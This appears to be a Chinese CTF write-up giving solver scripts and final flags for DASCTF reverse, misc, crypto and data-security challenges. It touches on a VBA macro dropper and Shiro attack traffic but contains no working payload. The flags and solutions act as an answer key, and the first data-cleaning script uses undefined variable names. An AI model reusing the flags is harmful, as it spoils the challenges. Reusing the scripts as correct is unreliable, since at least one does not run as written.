image.png
image.png
flag就是使temp.exe输出good的参数
可以尝试删除1173行,用修改过的宏代码获取temp.exe
新建一个文档,alt+F11把宏代码粘贴进去
调试获取到文件生成的位置
image.png
拿到文件
image.png
这里偷懒直接从微步拿到temp.exe
看看temp.exe
image.png
简单逆一下,但是不对得到CFTDSA|QefX6tXcfibuhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z`
cyberchef魔棒启动
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#import Z3
#key = Z3.BitVec('ihakf`', 32)
#flag中的元素
v7 = [0] * 54
v7[0] = 4288
v7[1] = 4480
v7[2] = 5376
v7[3] = 4352
v7[4] = 5312
v7[5] = 4160
v7[6] = 7936
v7[7] = 5184
v7[8] = 6464
v7[9] = 6528
v7[10] = 5632
v7[11] = 3456
v7[12] = 7424
v7[13] = 5632
v7[14] = 6336
v7[15] = 6528
v7[16] = 6720
v7[17] = 6144
v7[18] = 6272
v7[19] = 7488
v7[20] = 6656
v7[21] = 7296
v7[22] = 7424
v7[23] = 2432
v7[24] = 2432
v7[25] = 2432
v7[26] = 5632
v7[27] = 4416
v7[28] = 3456
v7[29] = 7168
v7[30] = 6528
v7[31] = 7488
v7[32] = 6272
v7[33] = 5632
v7[34] = 3520
v7[35] = 6208
v7[36] = 5632
v7[37] = 4736
v7[38] = 6528
v7[39] = 6400
v7[40] = 7488
v7[41] = 3520
v7[42] = 5632
v7[43] = 5184
v7[44] = 3456
v7[45] = 7488
v7[46] = 7296
v7[47] = 3200
v7[48] = 6272
v7[49] = 7424
v7[50] = 2432
v7[51] = 2432
v7[52] = 2432
v7[53] = 7808
for i in range(54):
v7[i] = v7[i] >> 6
flag = ''.join([chr(i ^ 7) for i in v7])
print(flag)
#DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

你这主函数保真么

主函数没有东西,但是看到了一个encrypt函数
一路交叉应用
image.png
先看看密文
image.png
check明显是类型分析错误了
image.png
全选之后按*转换成数组
image.png
看看ROT13和离散余弦变换
image.png
image.png
都没有魔改
直接np库一把梭了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import numpy as np
from scipy.fftpack import idct #导入idct函数用于离散余弦逆变换
import codecs
def idct_to_int(enc):
restored = idct(enc, norm='ortho') #使用idct函数进行离散余弦逆变换
ROT13_int = np.round(restored).astype(int) #将浮点数转换为整数
return ROT13_int
enc = [513.3551, -37.7985, 8.7317, -10.783100000000001, -1.3096, -20.5778, 6.98651, -29.2988, 15.9423, 21.413899999999998, 29.4755, -2.7715099999999997, -6.58784, -4.22322, -7.20761, 8.83516, -4.38128, -19.3897, 18.3454, 6.88269, -14.7651, 14.6103, 24.7415, -11.6221, -9.75466, 12.2425, 13.4344, -34.9306, -35.734899999999996, -20.0847, 39.6891, 21.8791, 26.8297]

ROT13_int = idct_to_int(enc) #调用idct_to_int函数
print(ROT13_int) #输出解密后的整数列表
#[81, 78, 70, 80, 71, 83, 123, 74, 117, 48, 95, 49, 102, 95, 90, 110, 49, 97, 95, 64, 97, 113, 95, 83, 104, 97, 97, 76, 95, 81, 112, 103, 125]

tmp = ''.join(chr(i) for i in ROT13_int)
flag = codecs.encode(tmp, 'rot_13') #使用rot_13编码
print(flag)
#DASCTF{Wh0_1s_Ma1n_@nd_FunnY_Dct}

DASCTF{Wh0_1s_Ma1n_@nd_FunnY_Dct}

Misc

hiden

由60=?+?想到47+13解密的加密脚本
image.png
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import wave

# Open the wav file containing the hidden data
with wave.open("hiden.wav", "rb") as f:
attrib = f.getparams()
wav_data = bytearray(f.readframes(-1))

# Extract the length of the hidden text data from the first 3 bytes
file_len = int.from_bytes(wav_data[0:3 * 4:4], byteorder='little')

# Extract the hidden text data using the length obtained
txt_data = bytearray()
for index in range(file_len):
txt_data.append(wav_data[(index + 3) * 4])

# Write the extracted data to a new file
with open('extracted_flag.txt', 'wb') as f:
f.write(txt_data)

print("Decryption complete! Extracted data saved to 'extracted_flag.txt'.")

image.png

miaoro

对攻击cookie进行shiro反序列化解密得到flag1
image.png
在攻击流量中发现secret.txt
image.png
在其中发现zip标志
image.png
在前序报文中发现pass.txt
image.png
解压zip得到一张异常的jpg
image.png
宽高互换,并修改宽得到一堆猫猫
image.png
在b站上找到相关视频,得到最终flaghttps://www.bilibili.com/video/BV11y4y137Ki/
B916CFB-C40F-45D6-A7BC-EBOFDELQDIAA

不一样的数据库_2

文件尾hint
image.png
爆破得
image.png
得到缺定位块的二维码
image.png
修补后:
image.png
扫描后得到密文(尝试并非为数据库密码)
image.png
rot13得到aes开头的密钥
image.png
打开数据库从历史需修改记录里得到aes加密密文
image.png
利用在线网站进行解密得到flag
image.png

so much

文件名base64后发现hint
image.png
ad1文件尾发现密码提示
image.png
得到密码!@#$%^&,解密利用ftk挂载
发现其中文件时间为16:19和16:20可以作为10编码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os

def get_file_modification_times(directory, num_files):
"""获取目录中前 num_files 个文件的修改时间"""
modification_times = []
for i in range(num_files):
file_path = os.path.join(directory, f'{i}.crypto')
if os.path.exists(file_path):
modification_times.append(os.path.getmtime(file_path))
else:
modification_times.append(None) # 文件不存在时,存储None
return modification_times

def generate_flag(mod_times, time1, time2):
"""根据修改时间生成二进制标志字符串"""
flag = ''
for mod_time in mod_times:
if mod_time == time1:
flag += '0'
elif mod_time == time2:
flag += '1'
else:
flag += '?' # 时间戳不匹配时,标记为'?'
return flag

def binary_to_text(binary_flag):
"""将二进制字符串转换为文本"""
tmp = ''
for i, bit in enumerate(binary_flag):
if bit != '?':
tmp += bit
if len(tmp) == 8: # 每8位转换为一个字符
print(chr(int(tmp, 2)), end='')
tmp = ''
else:
print(f"\nError: Unrecognized timestamp at index {i}")
break

# 主逻辑
directory = 'D:/' # 假设所有文件都在当前目录下
num_files = 344
time1 = 1628151585.73009 # 对应文件A的时间戳
time2 = 1628151635.286546 # 对应文件B的时间戳

mod_times = get_file_modification_times(directory, num_files)
binary_flag = generate_flag(mod_times, time1, time2)
binary_to_text(binary_flag)

print("\nDecryption completed.")

解密得到key
image.png
利用key解密0 1两个文件得完整flag
image.png

1z_misc

根据提示,11代表子所属的第一个星宿“女”,同时也代表戌对应的逆时针第二十四个星宿。因此,数组中的数字代表多个星宿,前面的数字表示生肖,后面的数字表示逆时针方向的第几个星宿。
81d00ffeb4b78ba11c5c8560edcdcd04.png
通过这一规则,我们解得数组的内容为:
心, 胃, 心, 奎, 奎, 心, 奎, 心, 胃, 心, 心, 心, 胃, 心, 心, 胃, 心, 奎, 奎, 奎, 奎, 胃, 奎, 心, 奎, 奎, 胃, 奎, 心, 奎, 心, 奎, 奎
由于这组星宿只有三种类型,很可能对应莫尔斯电码。解得密钥为:E@SI1Y!
根据天琴座图片的提示可以联想到lyra
可根据2024iscc的wp中的有人让我给你带个话一题相同的解题思路写出来ISCC 2024 部分wp_iscc2024-CSDN博客
利用lyra我们得到一个音频
利用au慢速播放我们可以听到社会主义核心价值观
image.png
随波逐流解密得flag
image.png

checkin

压缩包有一个神秘代码
image.png
base58
image.png
以为是压缩包密码,结果压缩包没加密
拿到一个Flag.txt
image.png
PDF隐写
wbStego4open
base58得到的Welcome2GZ作为第四步的密码
image.png
得到一个log文件
将flag.txt转为hex得到流量包,将上面的log作为tlskey.log放入wireshark中,可追踪http流量
然后可导出一份flag.gif
对于这个gif,我们直接盯帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from PIL import Image

def analyze_gif_frame_intervals(gif_path):
# 打开GIF文件
gif = Image.open(gif_path)

# 确保这是一个GIF文件
if not gif.is_animated:
print("此文件不是GIF文件或不包含多帧。")
return

frame_intervals = []

# 遍历GIF中的每一帧
for frame in range(gif.n_frames):
gif.seek(frame) # 定位到指定帧

# 获取每帧的显示时间,单位为毫秒
duration = gif.info.get('duration', 0)
frame_intervals.append(duration)

print(f"帧 {frame + 1} 的间隔时间: {duration} 毫秒")

# 统计分析
total_duration = sum(frame_intervals)
avg_duration = total_duration / len(frame_intervals)
print("\n分析结果:")
print(f"总帧数: {len(frame_intervals)}")
print(f"总时长: {total_duration} 毫秒")
print(f"平均帧间隔: {avg_duration:.2f} 毫秒")

return frame_intervals

# 使用示例
gif_path = './flag.gif' # 将 'example.gif' 替换为你的GIF文件路径
frame_intervals = analyze_gif_frame_intervals(gif_path)

image.png
将230作为1,30作为0即可得到flag
386648880ba96f84b24a6cbd35ed1716.png

Crypto

TH_Curve

根据特殊曲线搜寻发现
hyperelliptic.org/EFD/g1p/data/twistedhessian/coordinates
将基点 G 和点 Q 从Montgomery曲线转换到Weierstrass曲线,然后,使用Weierstrass曲线上的点 GQ 计算点 Q 相对于点 G 的离散对数(Q.log(G))。这个操作试图找到一个标量 k,使得 Q = k * G
ax^3+y^3+1=dx*y

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#sage 10.4
from gmpy2 import *
from math import *
import random
from Crypto.Util.number import *
p = 10297529403524403127640670200603184608844065065952536889
a = 2
G = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)
d = (a*G[0]^3+G[1]^3+1)*inverse(G[1]*G[0], p)%p
Q = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)


def calculate_coefficients(a, d):
d_over_3 = d*inverse(3, p)%p
denominator = a - d_over_3**3
a0 = 1
a1 = (-3 * d_over_3 * inverse(denominator, p))%p
a3 = (-9 * inverse(denominator**2, p)) % p
a2 = (-9 * d_over_3**2 * inverse(denominator**2, p))%p
a4 = (-27 * d_over_3 * inverse(denominator**3, p))%p
a6 = (-27 * inverse(denominator**4, p))%p

return [a1, a2, a3, a4, a6]
aa = calculate_coefficients(a, d)
E = EllipticCurve(GF(p), aa)
def toWei(M):
"""
toweierstrass u = (-3 / (a - d d d/27)) x / (d x/3 - (-y) + 1)
toweierstrass v = (-9 / ((a - d d d/27) (a - d d d/27))) (-y) / (d x/3 - (-y) + 1)
"""
x, y = M
u = ((-3 * inverse((a - d^3*inverse(27, p)), p)*x * inverse(d*x*inverse(3,p) - (-y) + 1, p))) % p
v = ((-9 * inverse((a - d^3*inverse(27, p))^2, p) ) * (-y) * inverse(d*x*inverse(3,p) - (-y) + 1, p))%p
return (u, v)


def fromWei(M):
"""
fromweierstrass x = 3 (a - (d/3) (d/3) (d/3)) u / ((a - (d/3) (d/3) (d/3)) (a - (d/3) (d/3) (d/3)) v - 3 (d/3) u (a - (d/3) (d/3) (d/3)) - 9)
fromweierstrass y = - (a - (d/3) (d/3) (d/3)) (a - (d/3) (d/3) (d/3)) v / ((a - (d/3) (d/3) (d/3)) (a - (d/3) (d/3) (d/3)) v - 3 (d/3) u (a - (d/3) (d/3) (d/3)) - 9)
"""
u, v = M
x = 3*(a - (d*inverse(3, p))^3)*u*inverse((a - (d*inverse(3, p))^3)^2*v - 3*(d*inverse(3, p))*u*(a - (d*inverse(3, p))) - 9, p)%p
y = - (a - (d*inverse(3, p))^3)^2*v*inverse((a - (d*inverse(3, p))^3)^2*v - 3*(d*inverse(3, p))*u*(a - (d*inverse(3, p))) - 9, p)%p
return (x, y)

G = E(toWei(G))
Q = E(toWei(Q))
long_to_bytes(int(Q.log(G)))

BabyCurve

通过搜索根据特殊曲线y2=dx4+2ax**2+1进行解题,先爆破出b和c再利用这个曲线进行解题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#sage 10.4
from Crypto.Cipher import AES
from Crypto.Util.number import *
import hashlib

def elliptic_curve_add(point1, point2, curve_params):
"""
实现椭圆曲线上的点加法运算。

:param point1: 点1 (x1, y1)
:param point2: 点2 (x2, y2)
:param curve_params: 曲线参数 (a, d, p)
:return: 加法结果 (x3, y3)
"""
a, d, p = curve_params
if point1 == (0, 0):
return point2
if point2 == (0, 0):
return point1
x1, y1 = point1
x2, y2 = point2

# 计算 x3 和 y3
x3 = (x1 * y2 + y1 * x2) * pow(1 - d * x1 ** 2 * x2 ** 2, -1, p) % p
y3 = ((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1 ** 2 * x2 ** 2) + 2 * d * x1 * x2 * (x1 ** 2 + x2 ** 2)) * pow(
(1 - d * x1 ** 2 * x2 ** 2) ** 2, -1, p) % p
return x3, y3

def elliptic_curve_multiply(scalar, point, curve_params):
"""
实现椭圆曲线上的点标量乘法。

:param scalar: 标量 n
:param point: 椭圆曲线上的点 P
:param curve_params: 曲线参数 (a, d, p)
:return: 标量乘法的结果 R = nP
"""
result_point = (0, 0)
while scalar > 0:
if scalar % 2 == 1:
result_point = elliptic_curve_add(result_point, point, curve_params)
point = elliptic_curve_add(point, point, curve_params)
scalar = scalar // 2
return result_point

def aes_decrypt_with_key(scalar_key):
"""
使用AES算法解密给定密文。

:param scalar_key: 用于生成AES密钥的标量
:return: 解密后的明文
"""
key = hashlib.sha256(str(scalar_key).encode()).digest()[:16]
iv = long_to_bytes(0xbae1b42f174443d009c8d3a1576f07d6)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_data = long_to_bytes(0xff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4)
return cipher.decrypt(encrypted_data)

# 椭圆曲线参数
curve_a = 46
curve_d = 20
modulus_p1 = 826100030683243954408990060837
curve_params1 = (curve_a, curve_d, modulus_p1)
base_point_G1 = (560766116033078013304693968735, 756416322956623525864568772142)
target_point_P1 = (528578510004630596855654721810, 639541632629313772609548040620)
target_point_Q1 = (819520958411405887240280598475, 76906957256966244725924513645)

# 找到使得 G1 的标量乘积等于 P1 的标量 c
for scalar_c in range(2**16):
if elliptic_curve_multiply(scalar_c, base_point_G1, curve_params1) == target_point_P1:
print("Scalar c:", scalar_c, elliptic_curve_multiply(scalar_c, base_point_G1, curve_params1))
break

# 找到使得 G1 的标量乘积等于 Q1 的标量 b
for scalar_b in range(2**16):
if elliptic_curve_multiply(scalar_b, base_point_G1, curve_params1) == target_point_Q1:
print("Scalar b:", scalar_b, elliptic_curve_multiply(scalar_b, base_point_G1, curve_params1))
break

# 使用找到的标量 b 和 c 计算新的椭圆曲线参数
modulus_p2 = 770311352827455849356512448287
elliptic_curve = EllipticCurve(GF(modulus_p2), [-scalar_c, scalar_b])
base_point_G2 = elliptic_curve(584273268656071313022845392380, 105970580903682721429154563816)
point_P2 = elliptic_curve(401055814681171318348566474726, 293186309252428491012795616690)

# 计算对数,得到 AES 解密密钥
aes_key = point_P2.log(base_point_G2)
print("Decrypted message:", aes_decrypt_with_key(aes_key))

RSA_loss

根据推断是m>n的情况,在已知flag头尾的基础上可以进行爆破中间内容,且mh+mm+ml=newm+k*n,然后利用LLL进行flag的计算
矩阵 M 的构造:

1
2
3
M = matrix(ZZ, [[1, 0, 256 * T], 
[0, T, K * T],
[0, 0, n * T]])

这个矩阵 M 是用来应用LLL算法的。LLL算法能够帮助我们找到这个矩阵的短向量,从而找到可能的flag内容。L = M.LLL() 通过LLL算法得到短向量的基,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#sage 10.4
from Crypto.Util.number import *

c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
n = p * q
m = b'X\xee\x1ey\x88\x01dX\xf6i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15'
m = bytes_to_long(m)
for ii in b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_":
for jj in b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_":
for kk in b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_":
begin = bytes_to_long(b"DASCTF{" + long_to_bytes(ii) + long_to_bytes(jj) + long_to_bytes(kk))
end = bytes_to_long(b"}")
for i in range(20,30):
F1 = begin * 256 ^ (i + 1)
F2 = end
K = F1 + F2 - m
T = 256 ^ i
M = matrix(ZZ, [[1, 0, 256 * T], [0, T, K * T], [0, 0, n * T]])
L = M.LLL()
for l in L:
if l[-1] == 0:
flag = int(abs(l[0]))
if all(0<=i<=128 for i in long_to_bytes(flag)):
print(long_to_bytes(ii) + long_to_bytes(jj) + long_to_bytes(kk) + long_to_bytes(flag))

TheoremPlus

观察发现当e>=5时,(e-1)!%e=0,而e为质数的时候由威尔逊定理得为-1,故我们的算法最终得到的就是1e以内的质数数量,减去e<5的那些情况,也就是2,记1e以内的质数数量-2

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Util.number import long_to_bytes
from tqdm import trange
from gmpy2 import inverse as inverse_mod

def calculate_factorial_mod(e):
"""
计算阶乘模,用于特定条件下的解码过程。
"""
if e > 1:
factorial_result = 1
for i in trange(1, e):
factorial_result *= i

if (e - factorial_result % e - 1) == 0:
mod_result = factorial_result % e - e
else:
mod_result = factorial_result % e

return mod_result + calculate_factorial_mod(e - 1)
else:
return 0

# 椭圆曲线加密系统的两个大质数
prime_p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429
prime_q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219

# 公钥指数计算
public_exponent_e = len(prime_range(703440151 + 1)) - 2

# 模数
modulus_n = prime_p * prime_q

# 欧拉函数值
phi_n = (prime_p - 1) * (prime_q - 1)

# 密文
ciphertext = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566

# 计算私钥
private_exponent_d = inverse_mod(public_exponent_e, phi_n)

# 解密
plaintext = long_to_bytes(pow(ciphertext, private_exponent_d, modulus_n))
print(plaintext)

数据安全(GPT万岁)

data-analy1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import pandas as pd
import time
def password_hash(value):
return len(value) == 32 and all(c in '0123456789abcdefABCDEF' for c in value)

def gender(value):
return value.strip() in ['男', '女']

def chinese_name(value):
return all('\u4e00' <= c <= '\u9fff' or c in {'·', '.'} for c in value.strip()) and len(value) > 1

def birth_date(value):
return len(value) == 8 and value.isdigit()

def id_number(value):
return len(value) == 18 and value[:-1].isdigit() and (value[-1].isdigit() or value[-1].upper() == 'X')

def phone_number(value):
return len(value) == 11 and value.isdigit()

def username(value):
return value.isalnum()

def serial_number(value):
return value.isdigit()
cdata = pd.DataFrame(columns=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码'])

df = pd.read_csv('./person_data.csv')
i=0
for index, row in df.iterrows():
new_row = {}
for item in row:
item = str(item).strip() # 清理数据
if password_hash(item):
new_row['密码'] = item
elif gender(item):
new_row['性别'] = item
elif chinese_name(item):
new_row['姓名'] = item
elif birth_date(item):
new_row['出生日期'] = item
elif id_number(item):
new_row['身份证号'] = item
elif phone_number(item):
new_row['手机号码'] = item
elif serial_number(item):
new_row['编号'] = item
elif username(item):
new_row['用户名'] = item
if new_row:
cdata = pd.concat([corrected_data, pd.DataFrame([new_row])], ignore_index=True)

cata.to_csv('./corrected_file.csv', index=False)

data-analy2

用tshark提取出数据然后把不合法数据筛选出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import pyshark
import json
import re
import codecs
import csv

username_pattern = re.compile(r'^[a-zA-Z0-9]+$')
name_pattern = re.compile(r'^[\u4e00-\u9fa5]+$')
sex_pattern = re.compile(r'^(?:男|女)$')
birth_pattern = re.compile(r'^\d{8}$')
idcard_pattern = re.compile(r'^\d{6}(19|20)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}[\dXx]$')
phone_pattern = re.compile(r'^\d{11}$')
valid_phone_prefixes = {"734", "735", "736", "737", "738", "739", "747", "748", "750", "751",
"752", "757", "758", "759", "772", "778", "782", "783", "784", "787",
"788", "795", "798", "730", "731", "732", "740", "745", "746", "755",
"756", "766", "767", "771", "775", "776", "785", "786", "796", "733",
"749", "753", "773", "774", "777", "780", "781", "789", "790", "791",
"793", "799"}

def calculate_check_digit(id_number):
factors = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_digits = '10X98765432'
checksum = sum(int(num) * factor for num, factor in zip(id_number[:-1], factors))
return check_digits[checksum % 11]

def validate_data(json_data):
username = json_data.get("username", "")
name = json_data.get("name", "")
sex = json_data.get("sex", "")
birth = json_data.get("birth", "")
idcard = json_data.get("idcard", "")
phone = json_data.get("phone", "")

if not (username_pattern.match(username) and name_pattern.match(name) and
sex_pattern.match(sex) and birth_pattern.match(birth) and
idcard_pattern.match(idcard) and phone_pattern.match(phone) and
phone[:3] in valid_phone_prefixes and birth == idcard[6:14] and
((int(idcard[-2]) % 2 == 0 and sex == "女") or (int(idcard[-2]) % 2 == 1 and sex == "男")) and
idcard[-1].upper() == calculate_check_digit(idcard)):
return False
return True

def process_packet(packet):
if 'HTTP' in packet and hasattr(packet['http'], 'file_data'):
payload = packet['http'].file_data.strip()
if not payload:
return None, None
try:
json_str = codecs.decode(payload, 'unicode_escape')
json_data = json.loads(json_str)
if validate_data(json_data):
return json_data, None
else:
return None, json_data
except (json.JSONDecodeError, UnicodeDecodeError) as e:
print(f"Error decoding payload: {e} - Payload: {payload}")
return None, None

def save_invalid_data(invalid_data, filename='./invalid_data.csv'):
with open(filename, mode='w', newline='', encoding='utf-8') as file:
writer = csv.DictWriter(file, fieldnames=['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
writer.writeheader()
writer.writerows(invalid_data)
print(f"Invalid data saved to {filename}")

def main():
capture = pyshark.FileCapture('./data.pcapng', display_filter='http')
valid_data, invalid_data = [], []

for packet in capture:
try:
valid_entry, invalid_entry = process_packet(packet)
if valid_entry:
valid_data.append(valid_entry)
elif invalid_entry:
invalid_data.append(invalid_entry)
except Exception as e:
print(f"Error processing packet: {e}")

capture.close()
save_invalid_data(invalid_data)

if __name__ == "__main__":
main()

data-analy3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import csv
import re
import urllib.parse
import hashlib

# 日志文件路径
log_file_path = 'error.log'

# 掩码函数
def mask_username(username):
if len(username) == 2:
return username[0] + '*'
elif len(username) > 2:
return username[0] + '*' * (len(username) - 2) + username[-1]
return username

def mask_fullname(fullname):
if len(fullname) == 2:
return fullname[0] + '*'
elif len(fullname) > 2:
return fullname[0] + '*' * (len(fullname) - 2) + fullname[-1]
return fullname

def mask_idcard(idcard):
return '*' * 6 + idcard[6:10] + '*' * (len(idcard) - 10)

def mask_phone_number(phone_number):
return phone_number[:3] + '****' + phone_number[7:]

# 密码哈希函数
def hash_password(password):
return hashlib.md5(password.encode()).hexdigest()

# 验证函数
def is_valid_username(username):
return bool(re.match(r'^[A-Za-z0-9]+$', username))

def is_valid_phone_number(phone_number):
valid_prefixes = {734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799}
return len(phone_number) == 11 and int(phone_number[:3]) in valid_prefixes

def is_valid_idcard(idcard):
coe = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
num_sum = sum(int(idcard[i]) * coe[i] for i in range(len(idcard) - 1))
check_digit = "10X98765432"[num_sum % 11]
return idcard[-1] == check_digit

def is_valid_fullname(fullname):
return bool(re.match(r'^[\u4e00-\u9fff]+$', fullname))

# 处理日志文件并写入原始 CSV 文件
raw_csv_file_path = 'raw_output_data.csv'
fields = ['username', 'password', 'fullname', 'idcard', 'phone_number']

with open(log_file_path, 'r', encoding='utf-8') as log_file, \
open(raw_csv_file_path, 'w', newline='', encoding='utf-8') as raw_csv_file:

writer = csv.DictWriter(raw_csv_file, fieldnames=fields)
writer.writeheader()

current_data = {}

for line in log_file:
if 'userna=' in line:
current_data = {}
for field in ['userna', 'name', 'idcard', 'phone']:
match = re.search(f"{field}=([^&]+)", line)
if match:
current_data[field] = urllib.parse.unquote(match.group(1).strip())

if 'userna' in current_data:
current_data['username'] = current_data.pop('userna')
if 'name' in current_data:
current_data['fullname'] = current_data.pop('name')

if 'password' in line:
password_match = re.search(r'password=([^&]+)', line)
if password_match:
password = password_match.group(1).strip()[:-2]
current_data['password'] = hash_password(password)

if current_data:
writer.writerow(current_data)
current_data = {}

# 读取原始 CSV 文件,掩码敏感信息并写入最终 CSV 文件
final_csv_file_path = 'final_output_data.csv'

with open(raw_csv_file_path, 'r', encoding='utf-8') as infile, \
open(final_csv_file_path, 'w', newline='', encoding='utf-8') as outfile:

reader = csv.DictReader(infile)
writer = csv.DictWriter(outfile, fieldnames=fields)
writer.writeheader()

for row in reader:
if not is_valid_username(row['username']):
continue
row['username'] = mask_username(row['username'])

if not is_valid_fullname(row['fullname']):
continue
row['fullname'] = mask_fullname(row['fullname'])

if not is_valid_idcard(row['idcard']):
continue
row['idcard'] = mask_idcard(row['idcard'])

if not is_valid_phone_number(row['phone_number']):
continue
row['phone_number'] = mask_phone_number(row['phone_number'])

writer.writerow(row)